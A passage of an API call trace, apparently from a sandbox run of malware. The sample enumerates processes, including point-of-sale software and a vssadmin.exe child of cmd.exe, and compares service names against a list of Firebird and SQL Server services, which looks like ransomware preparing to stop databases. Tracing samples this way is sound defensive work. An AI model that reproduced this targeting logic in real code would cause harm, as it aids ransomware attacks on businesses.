lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0041.790] lstrlenW (lpString="fpos.exe") returned 8 [0041.790] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0041.791] lstrlenW (lpString="isspos.exe") returned 10 [0041.791] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0041.792] lstrlenW (lpString="mxslipstream.exe") returned 16 [0041.792] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0041.792] lstrlenW (lpString="omnipos.exe") returned 11 [0041.792] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0041.793] lstrlenW (lpString="spcwin.exe") returned 10 [0041.793] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0041.794] lstrlenW (lpString="spgagentservice.exe") returned 19 [0041.794] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0041.794] lstrlenW (lpString="utg2.exe") returned 8 [0041.794] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="burner.exe")) returned 1 [0041.934] lstrlenW (lpString="burner.exe") returned 10 [0041.934] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0041.935] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0041.935] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0041.936] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0041.936] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0041.936] lstrlenW (lpString="dllhost.exe") returned 11 [0041.937] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0041.937] lstrlenW (lpString="dllhost.exe") returned 11 [0041.937] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0041.938] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0041.938] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0041.939] lstrlenW (lpString="cmd.exe") returned 7 [0041.939] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0041.939] lstrlenW (lpString="conhost.exe") returned 11 [0041.940] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa60, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0041.940] lstrlenW (lpString="vssadmin.exe") returned 12 [0041.940] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa60, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0041.941] CloseHandle (hObject=0x1b0) returned 1 [0041.941] Sleep (dwMilliseconds=0x1f4) [0042.705] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x59ff78 [0042.705] EnumServicesStatusExW (in: hSCManager=0x59ff78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 0 [0042.706] GetLastError () returned 0xea [0042.706] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x134c) returned 0x37f2700 [0042.706] EnumServicesStatusExW (in: hSCManager=0x59ff78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37f2700, cbBufSize=0x134c, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37f2700, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 1 [0042.707] CloseServiceHandle (hSCObject=0x59ff78) returned 1 [0042.707] lstrlenW (lpString="Appinfo") returned 7 [0042.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0042.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0042.707] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0042.707] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0042.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0042.707] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0042.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0042.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0042.707] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0042.707] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0042.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0042.708] lstrlenW (lpString="AudioSrv") returned 8 [0042.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0042.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0042.708] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0042.708] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0042.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0042.708] lstrlenW (lpString="BFE") returned 3 [0042.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0042.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0042.708] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0042.708] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0042.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0042.708] lstrlenW (lpString="CryptSvc") returned 8 [0042.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0042.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0042.708] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0042.708] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0042.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0042.708] lstrlenW (lpString="CscService") returned 10 [0042.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0042.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0042.708] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0042.708] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0042.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0042.708] lstrlenW (lpString="DcomLaunch") returned 10 [0042.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0042.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0042.708] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0042.708] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0042.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0042.708] lstrlenW (lpString="Dhcp") returned 4 [0042.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0042.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0042.708] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0042.708] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0042.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0042.709] lstrlenW (lpString="Dnscache") returned 8 [0042.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0042.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0042.709] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0042.709] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0042.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0042.709] lstrlenW (lpString="DPS") returned 3 [0042.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0042.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0042.709] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0042.709] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0042.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0042.709] lstrlenW (lpString="eventlog") returned 8 [0042.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0042.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0042.709] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0042.709] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0042.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0042.709] lstrlenW (lpString="EventSystem") returned 11 [0042.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0042.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0042.709] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0042.709] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0042.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0042.709] lstrlenW (lpString="FontCache") returned 9 [0042.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0042.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0042.709] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0042.709] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0042.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0042.709] lstrlenW (lpString="gpsvc") returned 5 [0042.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0042.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0042.709] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0042.709] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0042.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0042.710] lstrlenW (lpString="iphlpsvc") returned 8 [0042.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0042.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0042.710] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0042.710] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0042.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0042.710] lstrlenW (lpString="LanmanServer") returned 12 [0042.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0042.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0042.710] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0042.710] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0042.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0042.710] lstrlenW (lpString="LanmanWorkstation") returned 17 [0042.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0042.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0042.710] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0042.710] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0042.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0042.710] lstrlenW (lpString="lmhosts") returned 7 [0042.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0042.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0042.710] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0042.710] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0042.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0042.710] lstrlenW (lpString="MMCSS") returned 5 [0042.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0042.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0042.710] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0042.710] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0042.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0042.710] lstrlenW (lpString="MpsSvc") returned 6 [0042.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0042.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0042.710] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0042.710] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0042.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0042.711] lstrlenW (lpString="Netman") returned 6 [0042.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0042.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0042.711] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0042.711] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0042.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0042.711] lstrlenW (lpString="netprofm") returned 8 [0042.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0042.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0042.711] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0042.711] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0042.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0042.711] lstrlenW (lpString="NlaSvc") returned 6 [0042.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0042.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0042.711] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0042.711] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0042.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0042.711] lstrlenW (lpString="nsi") returned 3 [0042.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0042.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0042.711] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0042.711] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0042.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0042.711] lstrlenW (lpString="PcaSvc") returned 6 [0042.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0042.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0042.711] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0042.711] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0042.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0042.711] lstrlenW (lpString="PlugPlay") returned 8 [0042.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0042.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0042.711] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0042.712] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0042.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0042.712] lstrlenW (lpString="Power") returned 5 [0042.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0042.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0042.712] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0042.712] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0042.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0042.712] lstrlenW (lpString="ProfSvc") returned 7 [0042.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0042.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0042.712] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0042.712] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0042.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0042.712] lstrlenW (lpString="RpcEptMapper") returned 12 [0042.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0042.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0042.712] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0042.712] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0042.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0042.712] lstrlenW (lpString="RpcSs") returned 5 [0042.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0042.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0042.712] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0042.712] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0042.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0042.712] lstrlenW (lpString="SamSs") returned 5 [0042.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0042.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0042.712] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0042.712] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0042.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0042.712] lstrlenW (lpString="Schedule") returned 8 [0042.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0042.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0042.712] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0042.713] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0042.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0042.713] lstrlenW (lpString="SENS") returned 4 [0042.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0042.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0042.713] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0042.713] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0042.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0042.713] lstrlenW (lpString="ShellHWDetection") returned 16 [0042.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0042.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0042.713] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0042.713] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0042.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0042.713] lstrlenW (lpString="Spooler") returned 7 [0042.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0042.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0042.713] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0042.713] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0042.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0042.713] lstrlenW (lpString="sppsvc") returned 6 [0042.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0042.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0042.713] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0042.713] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0042.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0042.713] lstrlenW (lpString="SysMain") returned 7 [0042.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0042.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0042.713] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0042.713] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0042.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0042.713] lstrlenW (lpString="Themes") returned 6 [0042.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0042.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0042.713] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0042.714] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0042.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0042.714] lstrlenW (lpString="TrkWks") returned 6 [0042.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0042.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0042.714] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0042.714] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0042.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0042.714] lstrlenW (lpString="UxSms") returned 5 [0042.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0042.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0042.714] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0042.714] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0042.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0042.714] lstrlenW (lpString="WdiServiceHost") returned 14 [0042.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0042.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0042.714] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 